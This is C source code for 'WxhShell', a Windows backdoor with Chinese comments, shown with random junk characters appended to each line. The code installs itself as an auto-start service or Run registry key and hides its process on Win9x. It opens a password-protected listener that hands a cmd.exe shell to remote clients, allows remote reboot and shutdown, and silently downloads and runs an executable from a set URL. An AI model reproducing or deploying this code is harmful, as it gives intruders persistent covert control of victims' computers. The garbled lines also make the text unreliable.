    if(Boot(SHUTDOWN)) H.!\j&4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bx ru7E"  
    else { Cg];UB}k  
    closesocket(wsh); nT/Az g  
    ExitThread(0); vptBDfzz  
    } _"S1>s)X?j  
    break; fO 6Jug  
    } y"Jma`Vjq  
  // 获取shell h)sQ3B.}A  
  case 's': { l]Q<BV  
    CmdShell(wsh); u=PYm+q{  
    closesocket(wsh); ]"VxEpqhM  
    ExitThread(0); bt 0Q6v5  
    break; ,];QzENw  
  } G q2@37U  
  // 退出 xcE<|0N :  
  case 'x': { ,2`FSL%J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NrWgaPO)i  
    CloseIt(wsh); =4:]V\o):'  
    break; Q <2 `ek  
    } Zo T8  
  // 离开 s=83a{#K  
  case 'q': { )wfqGkr=m!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C0 o  
    closesocket(wsh); 2~)r,.,  
    WSACleanup(); ,p9>/)l  
    exit(1); R}HNi(%"  
    break; C=<PYkt,L  
        } W&;,7T8@  
  } H.*aVb$  
  } +VRM:&  
+`l)W`zX  
  // 提示信息 2HF_kYZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y3?)*kz%  
} XSe\@t~&g  
  } &W$s-qf".  
b!c2j   
  return; I9O%/^5^[w  
} T1g3`7C3  
lka Wwjv_D  
// shell模块句柄 cX4I+Mf  
int CmdShell(SOCKET sock) )6:1`&6  
{ Gq0`VHAn  
STARTUPINFO si; ]@hN&W(+x  
ZeroMemory(&si,sizeof(si)); b+e9Pi*\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; USJk *  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ((mR' A|`  
PROCESS_INFORMATION ProcessInfo; O7# 8g$ZIv  
char cmdline[]="cmd"; ,V.Bzf%=O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =RjseTS  
  return 0; 2dJP|T9H  
} 7L$\S[E  
\,-e>  
// 自身启动模式 v&8s>~i`K  
int StartFromService(void) .1A/hAdU  
{ QpiA~4  
typedef struct Oe"nNvu/  
{ (svKq(X  
  DWORD ExitStatus; .r\|9 *j<  
  DWORD PebBaseAddress; 87yZd8+)  
  DWORD AffinityMask; in#lpDa[  
  DWORD BasePriority;  r74' _y  
  ULONG UniqueProcessId; :fA|J!^b[  
  ULONG InheritedFromUniqueProcessId; MWJ}  
}   PROCESS_BASIC_INFORMATION; e^yfoE<7  
b&2 N7%  
PROCNTQSIP NtQueryInformationProcess; _Z_R\  
w,eW?b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y>SpV_H%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w5* Z\t5  
s%i \z }/  
  HANDLE             hProcess; 7&3  
  PROCESS_BASIC_INFORMATION pbi; FG)(,?q  
|}isSCt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0N`N  
  if(NULL == hInst ) return 0; }}u16x}*n  
k\KI#.>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >.&E-1[+:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AfvIzsT0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sny$[!)  
%Z+FX,AK  
  if (!NtQueryInformationProcess) return 0; ;C,t`(  
JiFB<Q\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &.[I}KH|B  
  if(!hProcess) return 0; <7_s'UAL!  
?ZP@H _w6}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tui5?\  
=hi{J M  
  CloseHandle(hProcess); qijQRxS  
,Rdw]O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !24PJ\~I  
if(hProcess==NULL) return 0; /Csk"IfuO  
Nj=0bg"Qg5  
HMODULE hMod; z^u*e  
char procName[255]; /B)`pF.n  
unsigned long cbNeeded; YT}ZLx  
lx:.9>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V@r V +s  
BKKW3PT  
  CloseHandle(hProcess); <kKuis6h  
pMd!Jl#(N  
if(strstr(procName,"services")) return 1; // 以服务启动 & X#6jTh+  
r7-H`%.  
  return 0; // 注册表启动 }h1y^fuGi  
} -8:/My  
Q!70D)O$  
// 主模块 W#kd[Wi  
int StartWxhshell(LPSTR lpCmdLine) @]7s`?  
{ $g_|U:,  
  SOCKET wsl; %\T#Ik~3  
BOOL val=TRUE; m\G45%m  
  int port=0; *R3^:Y&  
  struct sockaddr_in door; <b-OdOg  
/<1zzeHRSD  
  if(wscfg.ws_autoins) Install(); +h@ZnFp3  
oc;4;A-;`c  
port=atoi(lpCmdLine); DO6 pv  
17#t7Yk  
if(port<=0) port=wscfg.ws_port; Jk;dtLL}4  
QXEz  
  WSADATA data; Y2[ik<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c!N#nt_<  
g[ N3jt@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TjicltQi4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X}g"_wN,g>  
  door.sin_family = AF_INET; z&yVU<;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mh]4K" cs  
  door.sin_port = htons(port); j937tn!Q  
*#83U?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 31cZ6[  
closesocket(wsl); 2=7:6Fw  
return 1; VUC_|=?dL  
} /sr. MT  
yVWt%o/  
  if(listen(wsl,2) == INVALID_SOCKET) { -J>f,zA  
closesocket(wsl); d)GR]^=r  
return 1; 5E^P2Mlc  
} (dwb{+HW  
  Wxhshell(wsl); RQU-]qQ8BM  
  WSACleanup(); !uP8powO  
8>`8p0I$+  
return 0; Oj '^Ww m  
$B`ETI9g-N  
} Vg}+w Nt5  
;?C`Jag x  
// 以NT服务方式启动 |lN=q44I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L@.Trso  
{ 1 dOB|  
DWORD   status = 0; d2fiPI7lg  
  DWORD   specificError = 0xfffffff; ;@qQ^!g2  
f.0HIc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; is=x6G*r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5Gm8U"UR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jT`u!CwdT  
  serviceStatus.dwWin32ExitCode     = 0; q"Sja!-;|  
  serviceStatus.dwServiceSpecificExitCode = 0; NjKC{L5S:  
  serviceStatus.dwCheckPoint       = 0; wLxuSs|  
  serviceStatus.dwWaitHint       = 0; ']N\y6=fn9  
9M-W 1prb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )}u?ftu\  
  if (hServiceStatusHandle==0) return; 4U3 `g  
<5zr|BTF]F  
status = GetLastError(); Zt}b}Bz  
  if (status!=NO_ERROR) -$I$zo  
{ EAHdt=8W{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OZ/"W)  
    serviceStatus.dwCheckPoint       = 0; H(kxRPH4@]  
    serviceStatus.dwWaitHint       = 0; G 2uM6  
    serviceStatus.dwWin32ExitCode     = status; Z/q'^PB p  
    serviceStatus.dwServiceSpecificExitCode = specificError; yji>vJHu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =3PZGdWD  
    return; 3;88a!AA!  
  } P MI?PC[;  
:s1.TQ;Y(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eQ,VK`7X  
  serviceStatus.dwCheckPoint       = 0; Y.kc,~vYL  
  serviceStatus.dwWaitHint       = 0; 'sTc=*p/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \F)WUIK  
} JOyM#g9-?  
%Vfr#j$=  
// 处理NT服务事件,比如:启动、停止 58R.`5B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2OjU3z<J  
{ "]W,,A-  
switch(fdwControl) `Om W#\  
{ 5sSAH  
case SERVICE_CONTROL_STOP: _o&NbDH  
  serviceStatus.dwWin32ExitCode = 0; lT~WP)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k"E|E";B  
  serviceStatus.dwCheckPoint   = 0; yv: Op\;R  
  serviceStatus.dwWaitHint     = 0; jI~$iDdOfs  
  { ]2{]TJ @B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,+X:#$  
  } >1HXC2 Y  
  return; ErFt5%FN.O  
case SERVICE_CONTROL_PAUSE: {kvxz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }?MbU6"  
  break; +BE_t(%p"  
case SERVICE_CONTROL_CONTINUE: Q_dMuoI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HkY#i;%N  
  break; i-. AD4  
case SERVICE_CONTROL_INTERROGATE: 2b Fr8FUt-  
  break; VxE;tJ>1  
}; , eSpt#M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zjSHa'9*  
} 5mZwg(si  
CZ>Ujw=&k  
// 标准应用程序主函数 TP/bX&bjCy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nRT ]oAi  
{ ])q,mH  
]YOWCFAQot  
// 获取操作系统版本 /m i&7C(6  
OsIsNt=GetOsVer(); ?Ss~!38  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O\6gw$  
5BK3ix*L  
  // 从命令行安装 Cxe(iwa.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1$^r@rP  
/FjdcH=  
  // 下载执行文件 G-,0mo  
if(wscfg.ws_downexe) { TD78&a#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jvpv1>KYV  
  WinExec(wscfg.ws_filenam,SW_HIDE); F+L%Ho;@P  
} . g-  HB'  
}}bMq.Q'  
if(!OsIsNt) { X$?0C{@.}  
// 如果时win9x,隐藏进程并且设置为注册表启动 d(9-T@J  
HideProc(); i 1Kq (7  
StartWxhshell(lpCmdLine); \GKR(~f  
} h8-uI.RZ  
else }a#=c*+_  
  if(StartFromService()) Sggl*V/q  
  // 以服务方式启动  ?$y/b}8  
  StartServiceCtrlDispatcher(DispatchTable); mHa~c(x  
else -$49l  
  // 普通方式启动 +|x%a2?x:  
  StartWxhshell(lpCmdLine); L(9AcP  
(*,R21<%  
return 0; e_g&L)  
} TI\EkKu"  
\rE] V,,2  
U#<{RqY  
F`,Hf Cb\  
=========================================== Nq|y\3]  
SR_ -wD  
Tt=;of{  
m"6K_4r]  
p#3G=FV  
 m3^D~4  
" IkxoW:L  
`$FB[Z} &  
#include <stdio.h> DghqSL ^s  
#include <string.h> =NSunW!  
#include <windows.h> Zv* uUe  
#include <winsock2.h> AYfe_Dj  
#include <winsvc.h> s,l*=<  
#include <urlmon.h> ",#Ug"|2  
 vNdW.V}  
#pragma comment (lib, "Ws2_32.lib") P>^$X  
#pragma comment (lib, "urlmon.lib") "z= ~7g  
}*O8]lG  
#define MAX_USER   100 // 最大客户端连接数 @\M^Zuo  
#define BUF_SOCK   200 // sock buffer =k;X}/  
#define KEY_BUFF   255 // 输入 buffer OMd:#cWsQ  
(+<66 T O  
#define REBOOT     0   // 重启 `:jF%3ks+0  
#define SHUTDOWN   1   // 关机 p["pGsf  
fI'+4 )@x  
#define DEF_PORT   5000 // 监听端口 xMa9o  
~yV?*"Hi  
#define REG_LEN     16   // 注册表键长度 1=ZQRJW0B  
#define SVC_LEN     80   // NT服务名长度 K$B~vy6E`  
66$ hdT$  
// 从dll定义API DF'~ #G8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5 +j):_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &JD^\+7U:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qz_4Ms<o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s OLjT34  
x<@i3Y{[  
// wxhshell配置信息 7]i6 Gk  
struct WSCFG { 8dJ+Ei~M  
  int ws_port;         // 监听端口 GiXs`Yt|  
  char ws_passstr[REG_LEN]; // 口令 5@ Hg 4.  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vup|*d2r0E  
  char ws_regname[REG_LEN]; // 注册表键名 -KfMK N~  
  char ws_svcname[REG_LEN]; // 服务名 Og8%SnEpMI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JXR]G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1/6}E]-F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DF-.|-^9I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sP~xe(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~PU}==*q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kV8qpw}K  
_lRIS_^;eE  
}; hzpl;Mj  
(]10Z8"fJ  
// default Wxhshell configuration w'7J`n: {]  
struct WSCFG wscfg={DEF_PORT, YPO24_B  
    "xuhuanlingzhe", JNP6qM  
    1, J4 U]_|  
    "Wxhshell", Hw6 2'%  
    "Wxhshell", k![H;}W  
            "WxhShell Service", 2 MW7nIEs  
    "Wrsky Windows CmdShell Service", MmFtG-  
    "Please Input Your Password: ", #&?}h)Jr'  
  1, 4r86@^c*  
  "http://www.wrsky.com/wxhshell.exe", # @7 I  
  "Wxhshell.exe" 7Jz 9%iP  
    }; 2 gca *  
:"b:uQ  
// 消息定义模块 Vn\jUEC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j0w@ \gO<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8:0,jnS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {M= *>P]E  
char *msg_ws_ext="\n\rExit."; 7s;;2<k;_  
char *msg_ws_end="\n\rQuit."; 7) a f  
char *msg_ws_boot="\n\rReboot..."; JxEz1~WK &  
char *msg_ws_poff="\n\rShutdown..."; !DHfw-1K  
char *msg_ws_down="\n\rSave to "; rEbH< |  
.' h^  
char *msg_ws_err="\n\rErr!"; oiD{Z  
char *msg_ws_ok="\n\rOK!"; ml!c0<  
BxZ7Bk  
char ExeFile[MAX_PATH]; kpNp}b8']  
int nUser = 0; tZFpxyF  
HANDLE handles[MAX_USER]; 'Asr,[]?  
int OsIsNt; @xBO[v  
<Q`3;ca^  
SERVICE_STATUS       serviceStatus; nKI?Sc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V ZtFgN$J  
m'k>U4  
// 函数声明 uyWw3>  
int Install(void); Y0m?ZVt  
int Uninstall(void); yJ6g{#X4K<  
int DownloadFile(char *sURL, SOCKET wsh); E}<i?;  
int Boot(int flag); w@n}DCFt  
void HideProc(void); C}DIm&))  
int GetOsVer(void); 1TF S2R n  
int Wxhshell(SOCKET wsl); BHErc\ITP  
void TalkWithClient(void *cs); ![J_6 f}!  
int CmdShell(SOCKET sock); *O\lR-z!k  
int StartFromService(void); wm9wnAy  
int StartWxhshell(LPSTR lpCmdLine); ;:>q;%  
<P@O{Xi+K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! CJ*zZ*  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  3UKd=YsJ  
Q}a(vlZ  
// 数据结构和表定义 Ttp%U8-LJR  
SERVICE_TABLE_ENTRY DispatchTable[] = /-WmOn*  
{ 4gUx#_AaG  
{wscfg.ws_svcname, NTServiceMain}, "/2kf)l{4  
{NULL, NULL} 2iO{*cB  
}; kg,\l9AM  
u,N<U t  
// 自我安装 1+Ik\  
int Install(void) VUz+ _)  
{ FN (O  
  char svExeFile[MAX_PATH]; -(ST   
  HKEY key; 0"ooHP$1  
  strcpy(svExeFile,ExeFile); Ww#!-,*]o  
+Yc@<$4  
// 如果是win9x系统,修改注册表设为自启动 wjgFe]  
if(!OsIsNt) { \'iy(8i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]!a?Lr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9]1LwX!M2  
  RegCloseKey(key); * X}2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s#")hMJQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D(&WEmm\B  
  RegCloseKey(key); >.G#\w  
  return 0; 7u5H o`  
    } 3f~znO  
  } 2iOYC0`!  
} ]D=fvvST  
else { )%f]P<kq6  
"V`DhOG&  
// 如果是NT以上系统,安装为系统服务 -w5sXnS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j'hWhLax  
if (schSCManager!=0) I:YgKs)[  
{ e#k)F.TZ:%  
  SC_HANDLE schService = CreateService >l=^3B,j  
  ( IY mkZ?cW  
  schSCManager, HS\'{4P  
  wscfg.ws_svcname, bw+IH-b  
  wscfg.ws_svcdisp, "pH;0[r]  
  SERVICE_ALL_ACCESS, ?1] \3nj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U}5]Vm$]  
  SERVICE_AUTO_START, D0TFC3.k}  
  SERVICE_ERROR_NORMAL, dxtG3  
  svExeFile, f|)~_J H  
  NULL, vg _PMy\  
  NULL,  x\VP X  
  NULL, )@y7 qb  
  NULL, OK47Q{.gh  
  NULL $+Z2q<UT  
  ); )e6sg]#  
  if (schService!=0) *~b~y7C  
  { {MDM=;WP_  
  CloseServiceHandle(schService); ]#G1 ]U  
  CloseServiceHandle(schSCManager); nNnfcA&W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =En1?3?  
  strcat(svExeFile,wscfg.ws_svcname); _9Rj,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R\/tKZJjb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _5$L`&  
  RegCloseKey(key); ~C3Ada@4  
  return 0; 3*(><<ZC  
    } yx;K&>  
  } +kD JZ  
  CloseServiceHandle(schSCManager); +>$Kmy[3  
} I9`ZK2S  
} \g)?7>M|  
:m/qR74+"  
return 1; eIN0 T;1T  
} h]&~yuI>  
@,]W  
// 自我卸载 I{.t-3hp  
int Uninstall(void) HW#@e kh  
{ L 7LUy$M-<  
  HKEY key; :C,}DyZy  
'Z#>K*  
if(!OsIsNt) { zG^$-L.n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4%JJ} {Ff  
  RegDeleteValue(key,wscfg.ws_regname); UQ@szE  
  RegCloseKey(key); &0J8I Cd=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3v`@**  
  RegDeleteValue(key,wscfg.ws_regname); \YF07L]qs-  
  RegCloseKey(key); '- #QK'p  
  return 0; G-sQL'L[U  
  } %mzDmrzq  
} NGO?K?  
} 8qxZ7|Y@  
else { |Z+qaq{X  
r>CBp$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aMJ2bu  
if (schSCManager!=0) dNov= w  
{ [6/8O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NZFUCD)  
  if (schService!=0) :()K2<E  
  { OIjG`~Rx  
  if(DeleteService(schService)!=0) { DNyt_5j&:  
  CloseServiceHandle(schService); :2:%  
  CloseServiceHandle(schSCManager); C#3&,G W  
  return 0; @uG/2'B(  
  } b5f+q:?{  
  CloseServiceHandle(schService); B+pLW/4l  
  } Wvl'O'R  
  CloseServiceHandle(schSCManager); &h=f  
} fGe"1MfU  
} %|j`;gYV  
MfKru,LSh  
return 1; P:1eWP  
} 5~E{bW$  
ApplWa3  
// 从指定url下载文件 (|3?wX'2U  
int DownloadFile(char *sURL, SOCKET wsh) B8!$?1*^a  
{ .1ep8O<  
  HRESULT hr; #cb9g   
char seps[]= "/"; wjT#D|soI  
char *token; r/HG{XH`  
char *file; Ea0EG>Y  
char myURL[MAX_PATH]; y$6EEp  
char myFILE[MAX_PATH]; Y/pK  
1YU?+K  
strcpy(myURL,sURL); ~~I]SI k{  
  token=strtok(myURL,seps); yC4%z) t&R  
  while(token!=NULL) aQzmobleep  
  { !<b+7 A  
    file=token; |It{L0=U  
  token=strtok(NULL,seps); <dz_7hR"  
  } oU*e=uehj  
PQz[IZ  
GetCurrentDirectory(MAX_PATH,myFILE); v3kT~uv  
strcat(myFILE, "\\"); ]@ Vp:RGMr  
strcat(myFILE, file); :?i,!0#"  
  send(wsh,myFILE,strlen(myFILE),0); ~L> &p  
send(wsh,"...",3,0); I7t}$ S6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '] _7Xa'  
  if(hr==S_OK) IA}.{zY~|  
return 0; 0TiDQ4}i[  
else n^l5M^.  
return 1; g  b[.Ww  
`/WOP`'zM  
} n:H |=SF{  
pF}E`U=Z  
// 系统电源模块 N~S#( .}[  
int Boot(int flag) 5p3: 8G7  
{ q>6,g>I  
  HANDLE hToken; dKw[#(m5v  
  TOKEN_PRIVILEGES tkp; %uo#<Ny/ I  
c^5fhmlt  
  if(OsIsNt) { >gn@NJ2N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !!Yf>0u#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q2Uk0:M  
    tkp.PrivilegeCount = 1; <YCR^?hJSi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i=fhK~Jd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wGHVq fm5  
if(flag==REBOOT) { ^a!oq~ZSy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?3v-ppw%  
  return 0; QPvWdjf#mM  
} )[yKO  
else { &iy7It  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f&&Ao  
  return 0; C?6q ]k]r  
} -:b<~S[  
  } 2t=&h|6EW  
  else { 2{g&9  
if(flag==REBOOT) { {WeRFiQ?-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jX t5.9 t  
  return 0; X 3ZKN;  
} ?b(DDQMf  
else { M,Lq4bz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f.R;<V.)  
  return 0; R m2M  
} n~i^+pD@  
} 'p%w_VbI  
=H}}dC<)  
return 1; YC*`n3D|'  
} !Uhcjfq`e  
X-j<fX_  
// win9x进程隐藏模块 y35e3  
void HideProc(void) 1d&Q E\2}  
{ q s9r$o.\l  
E <r;J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :`4LV  
  if ( hKernel != NULL ) 5yroi@KT   
  { %@C$xM"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |Y2n6gkH[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bW3Ah?0N  
    FreeLibrary(hKernel); q1|@v#kH6  
  } ;\T~Hc}&;  
u(`7F(R  
return; e.!~7c_z?  
} o+S?j*mv@  
F5w=tK  
// 获取操作系统版本 =[gFaB_H  
int GetOsVer(void) V:gXP1P  
{ c&`]O\D-c  
  OSVERSIONINFO winfo; F-Ku0z]){?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eNm Wul  
  GetVersionEx(&winfo); | Y(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,%y!F3m  
  return 1; iX>)6)uJ  
  else |%(qaPA1  
  return 0; !~-@sq  
} ^)3=WD'!  
,^@/I:  
// 客户端句柄模块 ~UsE"5  
int Wxhshell(SOCKET wsl) ,JJ1sf2A  
{ 3b<;y%  
  SOCKET wsh; $^#q0Yx  
  struct sockaddr_in client; uU+?:C  
  DWORD myID; !B#tJD  
UXHtmi|_:  
  while(nUser<MAX_USER) P;ZVv{mT  
{ %V-Hy;V  
  int nSize=sizeof(client); C{V,=Fo^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;9uDV -"  
  if(wsh==INVALID_SOCKET) return 1; }7qboUGe  
(IAR-957pN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YD5mJ[1t"2  
if(handles[nUser]==0) os+ ]ct  
  closesocket(wsh); }jNVR#D:  
else .WGrzhsV  
  nUser++; ]pVuRj'pP  
  } pq]>Ep  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m2F+ 6G  
2o0WS~}5  
  return 0; S Fqq(K2u  
} 9['>$ON  
1Msc:7:L  
// 关闭 socket 3 gW+|3E  
void CloseIt(SOCKET wsh) -TyBb]  
{ {ka={7  
closesocket(wsh); YXGxE&!  
nUser--; 1(Lq9hs`  
ExitThread(0); /8lmNA  
} ` >k7^!Ds  
P0-K/_g  
// 客户端请求句柄 QEY#U|  
void TalkWithClient(void *cs) byIP]7Ld  
{ v=YI%{tx)  
s>ZlW:jY  
  SOCKET wsh=(SOCKET)cs; : )k|Onz  
  char pwd[SVC_LEN]; 3+I"Dm,  
  char cmd[KEY_BUFF]; ,WS{O6O7  
char chr[1]; l_T5KV  
int i,j; k| >zauK  
Dwah_ p8  
  while (nUser < MAX_USER) { j<A; i  
+?0r%R%\  
if(wscfg.ws_passstr) { m$$sNPnT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %D+NrL(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x\5\KGw16  
  //ZeroMemory(pwd,KEY_BUFF); QV=|' S  
      i=0; <T$rvS  
  while(i<SVC_LEN) { en16hd>^W:  
AD"L>7  
  // 设置超时 h{e?Fl  
  fd_set FdRead; twql)lbx  
  struct timeval TimeOut; W0# VDe]>  
  FD_ZERO(&FdRead); R^6^ {q  
  FD_SET(wsh,&FdRead); K`kWfPwp  
  TimeOut.tv_sec=8; .wcKG9u  
  TimeOut.tv_usec=0; q>VvXUyK,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3O?[Yhk`.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 51!#m|  
<+ckE 2j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y~rtYI  
  pwd=chr[0]; )`<7qT_BM  
  if(chr[0]==0xd || chr[0]==0xa) { L!:;H,  
  pwd=0; ujbJ&p   
  break; =UZm4=T  
  } \Jr7Hy1;  
  i++; OJ)XJL  
    } Cvtz&dH  
iZ2nBi Q  
  // 如果是非法用户,关闭 socket R|!4klb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N-Sjd%Z  
} OH vV_  
`xFgYyiQd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m2to94yh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gg :{Xf*`  
"'U]4Z%q!  
while(1) { /Au7X'}  
3>k?-%"  
  ZeroMemory(cmd,KEY_BUFF); /m+.5Qz9)@  
dqw0ns.2  
      // 自动支持客户端 telnet标准   mUwGr_)wj  
  j=0; X%Ta?(9|.^  
  while(j<KEY_BUFF) { w;V+)r?w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^e1mK4`  
  cmd[j]=chr[0]; *Q,9 [k  
  if(chr[0]==0xa || chr[0]==0xd) { s^-o_K\*c  
  cmd[j]=0; o1rH@D6/-  
  break; :74G5U8%  
  } 5m rkw  
  j++; EZ)GW%Bm2  
    } Ly`FU)  
qUG)+~g`  
  // 下载文件 Z(o]8*;A i  
  if(strstr(cmd,"http://")) { M7\KiQd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wWB^m@:4  
  if(DownloadFile(cmd,wsh)) Xe<kdB3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rA1;DSw6E[  
  else 5OHF=wh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wXUgxa  
  } 8\e8$y3  
